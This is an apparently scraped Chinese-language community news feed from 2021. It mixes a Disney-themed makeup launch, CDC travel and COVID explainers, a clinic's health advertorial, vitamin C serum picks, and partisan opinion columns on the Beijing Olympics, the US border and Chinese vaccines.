Bambi / Thumper / Flower五色眼影盘

3款五色眼影盘,以动画中的角色为名。(Colourpop官网)

Bambi眼影盘,百搭的大地棕色系,适合日常妆容。(Colourpop官网)

3款五色眼影盘,以Bambi、Thumper、Flower为主题。Bambi眼影盘的配色,和小鹿斑比的花纹类似,百搭的大地棕色系,非常适合日常妆容;Thumper眼影盘以灰色调为主,拥有香槟粉色、浅绿色、深紫色三款闪亮色系,以及两款淡紫色哑光,适合打造气质妆容;Flower眼影盘以粉紫色为主,搭配象牙色和炭黑色点缀,哑光和珠光的眼影配搭,令眼妆更有层次感。

Thumper眼影盘,以灰色调为主,适合打造气质妆容。(Colourpop官网)

Flower眼影盘,以粉紫色为主,哑光和珠光的配搭,令眼妆更有层次感。(Colourpop官网)

Meadow / Purty / Raindrops眼线笔

3款眼线笔,分别有哑光和金属光的效果。(Colourpop官网)

3款眼线笔的配色,分别有哑光和金属光的效果,Meadow是哑光的米色,Purty是哑光的酒红色,Raindrops则为柔和的樱花粉色中融入金属光。

值得一提的是,米白色眼线笔涂在眼头和卧蚕时,眼睛有放大效果!浅色和深色眼线笔叠加使用,眼妆层次更有变化。

滋润的3款蜜光唇釉

3款蜜光唇釉,是常见的裸色、玫瑰粉色和薰衣草色,质感非常滋润。(Colourpop官网)

Bambi蜜光唇釉:裸色。(Colourpop官网)

3款蜜光唇釉,则是常见的裸色、玫瑰粉色和薰衣草色,质感非常滋润,让唇色散发淡淡的微光,建议和其它唇膏叠擦使用,不仅增加珠光感,显色效果也更加明显。

Thumper蜜光唇釉:玫瑰粉色。(Colourpop官网)

Flower蜜光唇釉:薰衣草色。(Colourpop官网)

Oh Deer假睫毛

Oh Deer假睫毛,纯素主义者可安心使用。(Colourpop官网)

想拥有水汪汪的大眼睛吗?这款名为Oh Deer的假睫毛,以100%人造纤维制成,纯素主义者也可以安心使用。它具有饱满、轻盈的睫毛效果,一眨一眨、大眼汪汪的可爱模样,让人想起动画中的小鹿斑比。

Morning Light亮粉粉扑

Morning Light亮粉粉扑。(Colourpop官网)

Morning Light亮粉粉扑,适合用于脸部、身体,轻拍在皮肤上,让你从头到脚散发闪亮光芒!

Colourpop长期和迪士尼合作,曾推出多款经典动画的联名系列,例如冰雪奇缘、阿拉丁、美女与野兽、花木兰等,曾多次瞬间断货,这次的小鹿斑比彩妆系列,已于2月25日在colourpop.com、3月14日在ulta.com开卖。

官网连结:https://colourpop.com/collections/bambi

喜爱小鹿斑比的小伙伴们,千万不要错过,没买到真的会捶心肝啊!!!

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2021-04-04 / by / in
CDC最新:完全接种疫苗 可以恢复境内外旅游 无须检测隔离

【金牌网讯】美国疾病控制与预防中心(CDC)认为,完全接种疫苗后可降低旅行风险。2021年4月2日, CDC更新了旅行指南,放宽了对完全接种新冠疫苗人士的旅行限制。

• 完全接种新冠疫苗的人士可以恢复境内旅游,无须在旅游前后进行新冠检测,也无须在到达目的地后隔离。
• 完全接种新冠疫苗的人士离开美国前无须进行新冠检测(除非目的地有要求),重回美国后也无须隔离。

以下两种情况被CDC视为完全接种新冠疫苗:

•打完辉瑞疫苗或Moderna疫苗的第二针,再过两周后。
•打完强生疫苗第一针,再过两周后。

美国疾控中心仍不建议尚未完全接种疫苗者非必要旅行。对完全接种了疫苗的旅行者,则建议继续戴口罩,保持两米的社交距离、勤洗手,并避免过于拥挤的人群。

(图片来自于CDC官方网站。)

文|无疆行者

2021-04-04 / by / in , , ,
三高问题普遍 紐約华人家庭医生吁重视

文|雨荷

经典「哆啦A梦」是太多人心中不败的卡通,但负责哆啦A梦第一代配音员富田耕生,2020年9月27日被证实因脑中风在家中过世,享寿84岁,让不少普遍动漫迷感到难过!而并非今年第一个因脑中风过世的名人,而导致中风的幕后凶手竟是“三高”!

根据是世卫调查研究,当今人类社会十大死因中,其中最主要的危险因素就是高血压、高血糖及高血脂等“三高”。

今天给大家请来了内部科及重症治疗方面有非常丰富的临床经验纽约家庭医生——宋瑾医生,请她跟大家好好了解三高原因以及定义,趁早预防更胜于治疗!

宋醫生的診所是法拉盛家庭内科诊所。

一.什么是三高?

1.高血压的:收缩压超过140 mmHg,或者舒张压超过90 mmHg。
2.高血糖的定义:空腹时血糖值超过126 mg / dl,或随机血糖超过200 mg / dl并伴有糖尿病的症状。
3.高血脂的定义:总胆固醇值大于200 mg / dl以上,或LDL(低密度脂蛋白;坏的胆固醇)值大于130 mg / dl以上,或HDL(高密度脂蛋白;好的血浆)值低于40 mg / dl以下,或TG(三酸苷油脂)值大于150以上。

二.为什么会得三高呢?

宋医生指出,中医认为,人的体质可分为平和质、阳虚质、阴虚质、气虚质、血虚质、痰湿质、湿热质、血瘀质、气郁质及特禀质几种类型。然而,各种体质的人都可能患三高,不限于任何体质,体型和年龄。

三.如何预防三高?

要维持良好的血压、血糖和血脂指数,关键在于预防与调养。宋医生建议从几方面着手:

1.体重控制:计算身体的BMI值(体重(kg)/身高(m2)),若BMI> 27即是肥胖。另一方式为测量腰围,正常男性腰围应在90cm以下,女性腰围应在80公分以下。
2.饮食控制:要均衡饮食,把握少油、少塩、少糖和高纤维,三少一高的原则。食物试图清淡。忌暴饮暴食,可多吃新鲜有营养的蔬菜水果,适量吃瘦肉,也应注意食量及加入的摄入量。
3.适当的运动:常听到一个健康促进的口诀:能站就不要坐,要活就要动,运动一分钟,多活四分钟。 选择适合的运动,如慢跑、快走、游泳等,有助于促进气血的运行,预防三高。饭后半小时后散步,也有助于消化和控制血糖。

预防三高就要良好的控制体重和生活习惯、适当运动。

4.良好的生活型态:戒烟、戒酒,适当的茶饮及咖啡摄取。尽量保持心情愉快,减少精神压力。确保规律睡眠,避免劳累过度。
5.积极应对生活压力:建议可多培养个人兴趣,参与自己有兴趣之社团活动,建立良好之人际互动。
6.定期检查「早期预防,早期发现,早期治疗」:定期量测血压、血糖及血液轻微检验,定期进行人健康检查。全民健康保险成人预防保健服务(這是美國的醫療保險嗎?如果你有依據就OK)(40岁-64岁每3年1次,65岁以上每年1次),提供的健康检查,包含有血液的检查。

华人家庭医生:20年医学经验

华人内科诊所的宋瑾医生,她的脸上总是带着恬静的笑容,让人安心、踏实。她对患者发自内心的关爱总是让人非常感动。具有20年医学经验的宋医生能准确诊断病情,给患者提供最佳治疗方案。对于没有保险的患者,宋瑾医生在收费上给予特别的优惠,尽最大可能减轻患者的负担。诊所员工精通英国粤语三个语种,态度亲切。欢迎大家来检查及治疗。

纽约家庭医生:宋瑾医生。

宋医生在纽约ST LUKES ROOSEVELT HOSPITAL MEDICAL CENTER(原哥伦比亚大学附属)医学中心内科完成住院医务训练,并获取了美国内科特考文凭。在博士研究期间就获得美国心脏学会AHA研究基金及美国生理学会相关奖项,专注于高血压疾病机理,包括血管紧张素及其相关信号传导通路研究。在美国生理学及心血管医学杂志发表多篇科学论文。曾担任纽约及康州各大医学中心内科主治医师,常年工作在内科医疗第一线。

宋博士不仅仅专注于高血压、高血脂、高血压的诊断治疗,包括糖尿病、冠心病、甲状腺疾病、鼻炎、高血压、花粉过敏、肺气肿、肺炎、康复炎、胃肠道出血、肝炎、便秘腹泻、感冒、头痛眩晕、中风、癫痫、皮炎、风湿、关节炎等等都可向宋医生咨询治疗,诊所秉着踏实严谨的医学精神,提供规范的医疗保健,致力于服务法拉盛及周边社区。

诊所接受美国各大保险,无保险者特别优惠。

法拉盛宋瑾家庭内科诊所
Jin Song MD, Internal Medicine/Primary Care
门诊地址:41-60 MAIN STREET,203,FLUSHING,NY,11355(置地大厦二楼,法拉盛邮局对面)
欢迎来电咨询门诊电话:718-290-5810
电子邮件:INNOCAREMEDICAL.HR@GMAIL.COM

2021-04-04 / by / in
北京冬奥会面临的十大尴尬

文/古风

 

 

在距离2022年北京冬季奥运会举办还剩不到一年之际,国际社会上抵制这场国际体育盛会的呼声越来越高。最让北京尴尬的就是中国新疆和香港人权等问题还在持续发酵,在国际上激起了非常广泛的谴责,促使西方国家和其它许多国家结成了极为罕见的反中联盟。在过去的几个月里,越来越多的国家和民间组织,呼吁抵制北京冬奥会,要求更换比赛国家。

  1. 国际社会抵制的尴尬

据美国之音报道,2月初,全球180多个倡导组织签署公开信,呼吁各国政府抵制北京冬奥会,以此回应中国政府在新疆大规模拘禁维吾尔穆斯林等侵犯人权的行为。加拿大议会也无异议通过一项决议,认定中国在新疆对维吾尔族人实行民族灭绝政策,并要求加拿大政府采取行动,将2022年冬奥会的主办地改到其它城市。同时,亦有多名美国国会议员发起决议案,要求美国政府抵制北京冬奥会。(下见链接2)

据德国之声报道,美国前国务卿蓬佩奥在卸任前也曾公开称,中共迫害维吾尔人的作法是“种族灭绝”。现任美国国务卿布林肯也认可蓬佩奥关于“种族灭绝”的这种说法,但拜登政府目前还没有对是否抵制北京冬奥发声。前美国驻联合国大使妮基·黑利在她的推特上写到:“我们必须抵制2022年的中国冬奥会,这对于我们的运动员而言会是一个重大损失,但将这与中国正在发生的种族灭绝相权衡,鼓励中国会导致更恐怖的未来。” (下见链接4)

  1. 重要嘉宾难以邀请的尴尬

受新冠疫情、新疆人权、香港问题、中美关系、中欧关系和中国战狼外交等影响,中共在邀请出席北京冬奥会开幕序的国际嘉宾时,无疑会遇到许多尴尬。

据美国之音报道,美国国务卿布林肯与澳大利亚、新西兰、加拿大、英国外长发表联合声明,一致认同中国政府在新疆大规模镇压和迫害人权的行为,并呼吁中国终结对维吾尔穆斯林以及新疆其他少数族裔与宗教信仰者的压迫,释放已被中国任意拘禁的人。

在这轮制裁行动中,欧盟27国最先发表声明,并于2月19日宣布对新疆官员予以制裁,制裁措施包括旅行禁令和冻结海外资产和交易。(下见链接5)

到目前为止,在国际上已有美国、澳大利亚、新西兰、加拿大、英国和欧盟27国参与制裁中国,另有印度、日本、台湾、缅甸等国与中国关系紧张。还有一些国家虽然没有公开与中共反目,但他们都是美国及其盟国的追随者。如果美欧等32国出面抵制北京冬奥会,其追随国首脑们也必然不会受邀出席北京冬奥会开幕序,剩下的只有俄罗斯、朝鲜和非洲等穷国。

  1. 赛事期间防疫的尴尬

就在北京冬奥会进入倒计时时,中国推出了“肛拭子检测” 的防疫方式,此举引起了国际社会关注。尽管中方表示这不是惟一的检测方式,但还是给北京带来尴尬。

据纽约时报中文网3月8日报道,作为遏制新冠病毒的措施之一,中国要求一些来自海外的旅客接受侵入性肛拭子检测,此举激怒和震惊美国、日本等数个外国政府。中国官方媒体承认,一些到达北京和上海等城市的游客被要求接受肛拭子检测。不过报道称,具体要求可能会因游客是否被视为高危人群而有所不同。(下见链接8)

 

  1. 赞助商招揽的尴尬

据美国之音中文网2月24日报道,针对国际社会抵制北京冬奥会的呼声日益高涨,目前国际奥委会全球赞助商大多噤声不表态,但部分观察人士认为,这是因为赞助商还未感受到政治压力。美国之音以电子邮件致函可口可乐、爱彼迎、三星、英特尔、源训、安联人寿、欧米茄等数家大型赞助商,希望取得他们对抵制呼声的回应。但只有欧米茄和安联人寿透过电子邮件回覆。

美国史密斯学院经济学教授、奥运经济学专家安德鲁.辛巴里斯在接受美国之音采访时表示,目前的局势非常诡谲,已有美国、加拿大和澳洲等政治人物以中国的人权纪录违反奥运宪章为由,支持取消北京的主办权或抵制2022北京冬奥。他说,目前国际社会对新疆、香港、西藏等问题的抗议声浪持续不断,这对中国将是非常“难堪”的“负面宣传”,也会连累到TOP奥运全球伙伴赞助商的声誉,虽然目前大多数的赞助商都不愿表态。(下见链接9)

  1. 政府财政支出的尴尬

据新华社2015年07月31日报道,2022年北京冬奥会财政预算15.1亿美元,这其中65%来源于社会投资,比如说三个奥运村全都是社会投资。另外,2015年新建的北京张家口高铁投资584.1亿元(约83亿美元)  不在此预算之列。(下见链接10)

由于受新冠疫情和美欧等国抵制的原因,社会投资及国际赞助商的热情都会受到影响。这给原本就靠举债度日的北京财政带来尴尬。

  1. 国际观众数量太少的尴尬

    据纽约时报2021年3月16日认为如果我们不禁止美国运动员参赛(2022北京冬奥会)的话,除了运动员和教练的家人,美国观众应该呆在国内,不要为中共从酒店、餐饮和门票上获得的巨额收入做出贡献。那些经常把大批客户和合作伙伴送到现场观看奥运会的美国公司,应该改为把他们送到美国的比赛场馆去。经济和外交上的抵制还应该包括与全国广播公司(NBC)的合作。NBC在揭露中共镇压和暴行的真相上已经做了重要工作。NBC可以不播放开幕式和闭幕式上任何展示极端爱国主义的元素,而用对有记录的中共违犯人权行为的报道取而代之。(下见链接11)

受疫情及国际抵制等影响,2022北京冬奥会的国际观众人数必然是大减,媒体代理商和赞助商的信心都会因此而打折扣。这对主办方来说无疑会显得很尴尬。

  1. 维权访民闹场的尴尬

维权访民是中国一大特色,无论是中共主要领导人外出视察工作,还是国内举办重大赛事,都会出现维权访民闹场事件。

据自由亚洲电台2008年12月31日报道,2008北京奥运会期间,北京当地访民曾向奥组委递交过示威游行申请,但未获得批准。访民杨秋雨对记者说:“现场有好几千访民,他们凌晨四点多钟就赶到中纪委所在地排队。申请游行的目的就是抗议当地政府对访民实施非法拘禁。”(下见链接12)

20多年过去了,中国的访民至少比当年多出好几倍,为了讨个说法,许多访民还跑到美国来拦截出访的中共领导人。可以肯定,中国的访民决不会放过北京冬奥会这种机会。

 

  1. 新疆人权问题的尴尬

北京冬奥会期间,中共当局是否允许各国记者前去新疆实地采访?这是北京最尴尬的问题。

据中共外交部官网2021年2月4日报道,外交部发言人汪文斌主持例行记者会时,彭博社记者提问:“澳大利亚政府呼吁中方允许联合国官员立刻、不受阻碍地进入新疆开展有意义的调查,外交部对此有何评论?”

汪文斌:我们欢迎包括新一届美国政府相关官员在内的外国各界人士,到新疆走一走、看一看。同时,我们也坚决反对任何国家、任何人,打着人权旗号干涉内政,反对任何人鼓吹到新疆搞有罪推定式的所谓“调查”。 (下见链接13)

据中国新闻网报道,有外媒记者在3月29日外交部与新疆维吾尔自治区共同举行的涉疆问题新闻发布会表示,听说外国记者赴新疆采访时会有警察跟踪。新疆官方新闻发言人徐贵相回应说,这种情况是不存在的。(下见链接14)

可见,国际社会都非常关注北京冬奥会期间能否前往新疆自由采访。但对中共来说,新疆和西藏早已成为新闻禁区。

  1. 香港问题的尴尬

据法广报道,2021年3月5日,近200名各界人士日前参与一项全球联署行动,声援香港民主,并呼吁抵制北京2022年冬奥会。

该活动发起人王丹对“自由亚洲”电台表示:“该联署声明的英文版在3月5日被发送给了美国国务院、众议院及白宫的相关官员。”

该声明指出,鉴于中共政权在香港、新疆及大陆所推行的多种暴政,及其对台湾自由民主体制的持续威胁,中共政权“已经具备法西斯政权的性质,不配主办奥运会这样重大的国际体育活动”。 (下见链接15)

近几年来,国际社会对香港问題是高度关注,北京明年要举办冬奥会,但香港问题是无法回避的。

  1. 国际奥委的尴尬

据中国人权双周刊报道,国际奥委会的商业运作模式面临的难题,其实应该是国际人权界的难题。在全球经济繁荣时期,许多国家想过把办奥运的瘾,国际奥委会遵守《奥林匹克宪章》,将人权承诺打包发送,不怕承办国不同意;但如今各民主国家都遵从民意看紧荷包,奥委会的选择空间极小,人权原则就只能流于形式了。

习近平上任以来,出于装点盛世的需要,政治上面临高层残酷激烈的权争,经济上“三驾马车”已经死火,失业问题将成为他任期内始终无法驱散的乌云。面对民怨四起的局面,总得有场“太平盛事”点缀“习氏十年”, 因此,举办奥运当然是首选。(下见链接15)

 

北京冬奥申办成功以来,国际人权组织就纷纷发表声明,抗议国际奥委会的决定。面对国际社会的强烈呼声,国际奥委会也很尴尬。当然,国际社会反对声音越大,国际奥委会的利益也就越大。因为中共的独裁们就爱吃这一套。

本文资料来源链接:

1.美国之音中文网:北京在一片抵制声中进行冬奥会的测试活动

2021年4月1日

https://www.voachinese.com/a/China-defies-boycott-calls-with-Beijing-2022-Olympic-tests-20210401/5836872.html

 

2.美国之音中文网:抵制声浪四起,北京冬奥与1936纳粹奥运比肩

2021年2月25日

 

3.新浪财经:境外反华势力施压赞助商抵制北京冬奥 迄今没有任何知名企业买账 2021年02月25日

https://finance.sina.com.cn/world/gjcj/2021-02-25/doc-ikftpnny9571176.shtml

  1. 德国之声中文网:中国不宜当东道主“——蓬佩奥呼吁美国抵制北京冬奥

2021月3月6日

https://www.dw.com/zh/%E4%B8%AD%E5%9B%BD%E4%B8%8D%E5%AE%9C%E5%BD%93%E4%B8%9C%E9%81%93%E4%B8%BB%E8%93%AC%E4%BD%A9%E5%A5%A5%E5%91%BC%E5%90%81%E7%BE%8E%E5%9B%BD%E6%8A%B5%E5%88%B6%E5%8C%97%E4%BA%AC%E5%86%AC%E5%A5%A5/a-56792860

5.美国之音:美英欧加联手制裁中国新疆官员,拜登“盟友外交”打响第一炮

2021年3月23日

https://www.voachinese.com/a/coordinated-sanctions-on-china-bidens-allies-diplomacy-success-20210322/5824904.html

6.BBC中文网:中国新冠肛拭子测试引发的外交抗议

2021年3月3日

https://www.bbc.com/zhongwen/simp/chinese-news-56252359

7.德国之声中文网:专访:肛拭子测新冠,真的有必要吗?

2021-04-03 / by / in ,
美墨边境:政策越软,危机越重

文|他乡月更明

不知道拜登政府是刚上台,不懂如何做,还是缺乏诚意,故意放水,美墨边境的移民危机正愈来愈烈,愁坏了边境的巡防官员。

源源不断的人流,让边境巡防官员忧虑重重

非法越境者,每天新增被拘人数高达9,000人。绝大多数人在短暂拘留之后,就会被释放到美国境内。

在德州Donna地区,NBC记者发现,一处疫情期间设置人数最多250人的设施内,实际住进4,000人,其中大部分是无人陪伴的儿童,最小的年仅4个月。在这所设施内,每座限制人数为32人的简易房内,实际住进人数为500人以上,有的超过600人。

一位边境官员上周对记者说,过去30天内,他们平均每天遇到5,000位非法移民。仅上个月,就有大约15万人非法越境。这是美国20年来见过的最高数字。

可能是因为惧怕批评,拜登现在对非法入境者实行“抓了就放”的政策。但这种软弱的决定不但解决不了危机,反而导致危机愈演愈烈。因为,从非法移民的角度来看,这等于鼓励他们跨越国境。

一位边境巡逻队官员对NBC记者说,如果到本月21日,还不能更新《美国法典第42卷》(Title 42)中的措施,届时边境的每座设施,都会爆满。

川普时期曾依据该法典,授权卫生官员特殊权力,阻止移民从疫情严重的国家入境。这一政策现在被拜登废除了。

非法越境的代价

本周二(3月30日),加州联邦机构指控一名男子组织美墨边境的人口活动,导致来自墨西哥和危地马拉的13人在车祸中丧生。

这位男子是美国居民,他负责运输转移非法移民。在一辆载客量为8人的SUV上,他们硬塞进去25人,结果与一辆拖车相撞。为了避免被发现,他们常常鲁莽驾驶,完全忽视乘客的安全。

那些冒险闯关者,一路上往往经历了千辛万苦。

几年前一位移民曾向媒体介绍他旅途上的经历。从家乡出发,进入德州边境城市Brownsville之前,他们需支付组织者6000美元。之后向休斯顿转移,一路上东躲西藏,怕被边境巡逻队和地方警察发现,还要向组织者缴纳另外的6500美元。而在墨西哥农村地区,他们一天的收入,仅仅几美元。

在这一地区越境的女性,付出的代价往往更大。

跨越南部边境的很多移民妇女成为性侵案的受害者,有时候她们还被要求携带毒品。媒体披露出很多类似的案例。如果不听从走私者的摆布,她们就会被殴打,甚至被强迫卖淫。这种旅途的成本值得吗?

他们费尽千辛万苦进入美国,有的说是为摆脱家乡黑帮的控制,有的则是希望摆脱贫困的生活。黑帮的欺凌,其实是要依赖国内政府解决的问题;摆脱贫穷,则需要靠国内政府以及个人的共同努力。如果有条件,通过正当途径,来到美国才是正途。否则,如果人人不请自来,那美国能装的下吗?

从非法移民角度看,这种软弱的边境政策,看似善良,实际后果却是鼓励人性之恶;鼓动更多人搭便车,不经正常渠道进入美国;也鼓励了更多犯罪分子为发财,利用这一机会,走私人口,贩卖毒品,甚至拐卖妇女和儿童。

从美国社会正常运作的角度来看,这种软弱政策给美国社会带来了疫情的扩散,沉重的税务负担,还有更严重的普通劳工失业问题。这只会加重疫情下美国社会的危机。

如果拜登的政策不改,美墨边境的危机将无解。

看来,那堵墙,那堵川普搭下的高墙,还是最为明智的选择。

2021-04-03 / by / in , , , , ,
是流感?普通感冒?还是新冠肺炎?别傻傻分不清,一文看懂三者区别

文|无疆行者

新冠肺炎(武汉肺炎、COVID-19)目前仍然在全球肆虐。在这个特殊时期,如果有小伙伴不幸出现发烧咳嗽的症状,那到底是普通感冒,还是流感,还是新冠肺炎呢?今天金牌资讯的小编就来给大家介绍一下,新冠肺炎和流感的相似与差异之处。

体征和症状相似与差异之处:

新冠肺炎和流感都有不同程度的体征和症状,从无症状到严重症状不等。相似的常见症状包括:

●发烧发冷
●咳嗽
●呼吸急促或呼吸困难
●疲倦
●咽喉痛
●流鼻涕或鼻塞
●肌肉疼痛或身体疼痛
●头痛
●有些人可能有呕吐和腹泻,这种情况在儿童中比成年人更常见。

新冠肺炎在某些人中引起了更严重的疾病。与流感不同,新冠肺炎的其他体征和症状可能包括味觉或嗅觉的改变或丧失。

感染后出现症状的时间

相似之处:

对于新冠肺炎和流感,从被感染的人到开始出现疾病症状之间,可能要经过1天或更多天。

差异:

流感通常是,一个人在感染后1至4天出现所有症状。主要症状表现为发高烧,发热可持续3~4天;通常会出现头痛、发冷、全身酸痛、乏力、咳嗽、胸痛等全身症状;可能伴随打喷嚏、流鼻涕、鼻塞等上呼吸道症状。

新冠肺炎比感冒和流感花更长的时间才能出现症状。

新冠肺炎通常,一个人在感染后5天会出现症状,但症状最早可能在感染后2天出现,或者最迟在感染后14天出现,时间范围可能会有所不同。

感染后可以传播病毒多长时间

相似之处:

对于新冠肺炎和流感,有可能在出现任何症状之前将病毒传播至少1天。

差异:

如果一个人患有新冠肺炎,那么与感染流感相比,他们的传染时间可能更长。

大多数流感患者在出现症状之前会传染1天左右。

患流感的年龄较大的儿童和成人在其发病的最初3-4天最具传染性,但许多人在大约7天内仍具有传染性。婴儿和免疫系统较弱的人可能具有更长的传染性。

感染新冠肺炎,人们可能会在出现征兆或症状之前先传播病毒约2天,然后在征兆或症状首次出现后至少10天内保持传染性。如果某人无症状或症状消失,则在新冠肺炎呈阳性后至少有10天会传染。

传播的方式

相似之处:

新冠肺炎和流感均可在彼此密切接触的人(约6英尺内)之间在人与人之间传播。两者都主要由患病的人咳嗽,打喷嚏或说话时产生的飞沫传播。

一个人可能会通过与人体的物理接触(例如,握手)或触摸表面上有病毒的物体或物体,然后触摸自己的嘴,鼻子或眼睛而被感染。

流感病毒和新冠肺炎病毒,都可能在人们开始出现症状之前就已经开始传播给他人。

差异:

尽管人们认为新冠肺炎和流感病毒以相似的方式传播,但在某些人群和年龄组中,新冠肺炎的传染性比流感高。此外,已观察到新冠病毒的超级传播事件多于流感。这意味着,新冠病毒可以快速轻松地传播给很多人,并会传播更长的时间。

并发症

相似之处:

无论新冠肺炎和流感可导致并发症,包括:
肺炎
呼吸衰竭
急性呼吸窘迫综合征(肺部液体)
败血症
心脏损伤(例如心脏病发作和中风)
多器官衰竭(呼吸衰竭,肾衰竭,休克)
慢性病恶化(包括肺部,心脏或神经系统或糖尿病)
心脏,大脑或肌肉组织发炎
继发性细菌感染

差异:

大多数得了流感的人会在几天到不到两周的时间内康复,但有些人会出现并发症。

与新冠肺炎相关的其他并发症可能包括:

肺,心脏,腿部或大脑的静脉和动脉中的血块
儿童多系统炎症综合症(MIS-C)

良好卫生习惯 预防病毒传播

养成良好卫生习惯,一些简单的日常预防措施就可以预防呼吸道病毒传播。例如:

●避免与患病的人近距离接触,离开6尺以上。
●避免用未清洗过的手触碰眼睛、鼻子和嘴巴。
●经常用肥皂和水清洗双手,至少洗手20秒。如果没有肥皂和水,可以使用含有至少 60%酒精的酒精类净手液。
●生病时应要待在家里,并且要清洁和消毒经常触摸的物体和表面。

2021-04-03 / by / in , ,
接种2剂疫苗后仍感染中共病毒者 华盛顿州已超百人

文|无疆行者

据美国当地媒体披露,自2月1日以来,流行病学家在华盛顿州发现了102例所谓的“疫苗突破性病例”(Beakthrough Cases)。这一数字仅占全州已完全接种中共病毒疫苗总人数的0.1%。

所谓“疫苗突破性病例”,指已经完整接种疫苗两周后,再次被检测出中共病毒阳性的病例。

完全接种指的是,接种了Moderna公司或辉瑞/生物科技公司(Pfizer/BioNTech)生产的双剂注射疫苗的人。第三种疫苗是来自强生公司(Johnson & Johnson),该疫苗是单剂注射。

根据华盛顿州卫生部门的说法,需要进行进一步调查,以确定在接种疫苗后感染的人群的感染模式。

报告显示,华州发现的疫苗突破性病例分布于该州的18个县中,这些病例的患者都是在接受了完整剂量的COVID-19疫苗两周后,又通过阳性PCR检测或Antigen检测被确认为突破性病例。他们当中的大多数患者只有轻微症状,但也有8名患者症状较重并住院,有两人已经死亡。

该州卫生官员正在调查是否因新冠变异病毒所导致。

华盛顿州卫生部门负责人乌迈尔•沙赫表示,大规模临床试验显示,接种新冠疫苗的人相比不接种的人,最多可降低95%的感染新冠几率。然而,疫苗并非100%有效。

沙赫说:“尚不清楚SARS-CoV-2(中共病毒)在疫苗突破病例中的传播途径,因此建议隔离(与他人隔离),直到症状出现(或无症状病例的检测日期)过去10天、症状正在改善,且在未使用退热药物的情况下,患者已有至少24小时不发烧。”

他提醒人们,即便是在接种疫苗之后,依然需要佩戴口罩、保持社交距离并勤洗手,以避免将病毒传染给还没有打疫苗的人。

美国其它州也有人在完全接种疫苗后,仍感染了中共病毒。

爱荷华州的官员上周告诉记者,虽然这个接种疫苗后仍感染了病毒的人数还不到100人,但已经突破病例记录。南卡罗来纳州政府本周透露,全州已发现134例此类突破病例。佛罗里达州也有数十名患者在完全接种疫苗超过14天之后感染了中共病毒。

2021-04-03 / by / in , ,
5款高人气维生素C精华液 帮妳美肌 抗衰老

文|美顏小伙伴

想要让肌肤更明亮、更紧实吗?那妳一定不能少了维生素C!

纽约市西奈山医院皮肤科化妆品和临床研究主任Joshua Zeichner解释,维生素C是强力的抗氧化物,不仅能改善色素沉淀、预防皮肤发炎、增进胶原蛋白生成,也能中和自由基,减少紫外线对皮肤的伤害。

想要胶原蛋白和弹性蛋白 少不了维生素C

医学临床研究发现,随着年龄增长,人体自然产生的胶原蛋白和弹性蛋白会持续减少,皮肤因为正常老化或紫外光照射,逐渐失去弹性而形成皱纹、长斑,若想要皮肤保持强韧且有弹性,胶原蛋白和弹性蛋白正是关键所在。

由于人体无法自行合成维生素C,虽然通过饮食能提供基本代谢所需的维生素C,但无法有效运送到皮肤,所以涂抹维生素C的保养品,有益皮肤保养。

以下为大家精选5款维生素C精华液,想要美白、除斑或除痘的妳,一定不能错过!

物超所值款
1. Naturium Vitamin C Complex Serum(官网售价:$20)

Naturium Vitamin C Complex Serum不含香料,质地很轻透。

这款精华液物超所值,不含香料,质地很轻透,吸收速度快,有助于美白肌肤,减少细纹产生。如果想找经济实惠、效果又好的精华液,Naturium的精华液将是很好的选择。

官网连结:https://naturium.com/products/vitamin-c-complex-serum

针对偏油肌或痘痘肌
2. SkinCeuticals Silymarin CF(官网售价:$166)

SkinCeuticals这款新品,主要针对偏油肌或痘痘肌,将维生素C结合水飞蓟素、阿魏酸和水杨酸,有效抗氧护肤、防止自由基损伤,同时减少油脂过氧化,发挥焕肤去角质的作用。

SkinCeuticals Silymarin CF有效抗氧护肤、防止自由基损伤。

持续使用一段时间,将改善肤质,有效减少细纹、皱纹。

官网连结:https://www.skinceuticals.com/silymarin-cf-3606000480681.html

含15%左旋维他命C
3. SkinCeuticals C E Ferulic(官网售价:$166)

SkinCeuticals抗氧化精华的价格不便宜,但其成效让许多皮肤科医生爱不释手。这款精华液含15%左旋维他命C,能中和不稳定的自由基,提供抗氧化保护,预防光老化。此外,SkinCeuticals抗氧化精华也能刺激胶原蛋白增生,有效淡化细纹和皱纹、预防色素沉淀。

SkinCeuticals C E Ferulic能中和不稳定的自由基,提供抗氧化保护。

使用时,只需豌豆大小的量,涂抹全脸即可。当妳隔天早上醒来时,看到更明亮、光华的肌肤时,就会觉得SkinCeuticals抗氧化精华值得这个价格。

官网连结:https://www.skinceuticals.com/c-e-ferulic-with-15-l-ascorbic-acid-635494263008.html

稳定有效,醫師喜愛
4. SkinBetter Science Alto Defense Serum(官网售价:$155)

SkinBetter Science这款防护精华,受到皮肤科医师的喜爱。Alto Defense Serum富含维生素C,在临床实验中,该产品被证明是稳定和有效的。它含有其他抗氧化剂,有助于保持细胞健康,减少发炎和红肿。

SkinBetter Science Alto Defense Serum含有其他抗氧化剂,有助于保持细胞健康,减少发炎和红肿。

此外,Alto Defense Serum含神经酰胺、甘油(保湿成分)等,有效修护肌肤。这款精华液不会堵塞毛孔,痘痘肌也适用。

官网连结:https://skinbetter.com/products/protect-alto-defense-serum/

修护肌肤并锁住水分
5. 111Skin Vitamin C Brightening Booster(官网售价:$155)

111Skin Vitamin C Brightening Booster含有甘油保湿成分、杏核油成分,能修护肌肤并锁住水分。

这款高浓度的精华液,抹在皮肤上的感觉很轻盈柔软,使用几周后,显著淡化黑斑。除含有维生素外,这款精华液还含有甘油保湿成分、杏核油成分,能修护肌肤并锁住水分。

官网连结:https://111skin.com/products/vitamin-c-brightening-booster

2021-04-03 / by / in
中国大陆自愿接种正变为强制接种,接种中国产疫苗国家,疫情愈演愈烈

文|无疆行者

最近,在中国大陆打国产疫苗,正在变成一种政治化的运动。同时,选择接种中国大陆疫苗的多个国家,智利、土耳其及巴基斯坦,确诊人数不降反升,疫情正愈演愈烈。

不久前,中国国内媒体宣传,按照“知情、同意、自愿、免费”的政策接种疫苗,但现在正变为强迫接种。近日,微博热搜榜甚至出现“村民不打疫苗将被拉入黑名单”等耸人听闻的话题。

最近一个时期,中国国内媒体对国人打疫苗,一直宣传的政策,概括起来是8个字:“知情、同意、自愿、免费”。如上海市,要求按照“分步实施、有序推进,条块结合、以块为主,知情同意、自愿免费”原则,开展新冠疫苗接种工作。山西省提出坚持“知情 同意 自愿 免费”,全省新冠疫苗接种工作有序推进。

 

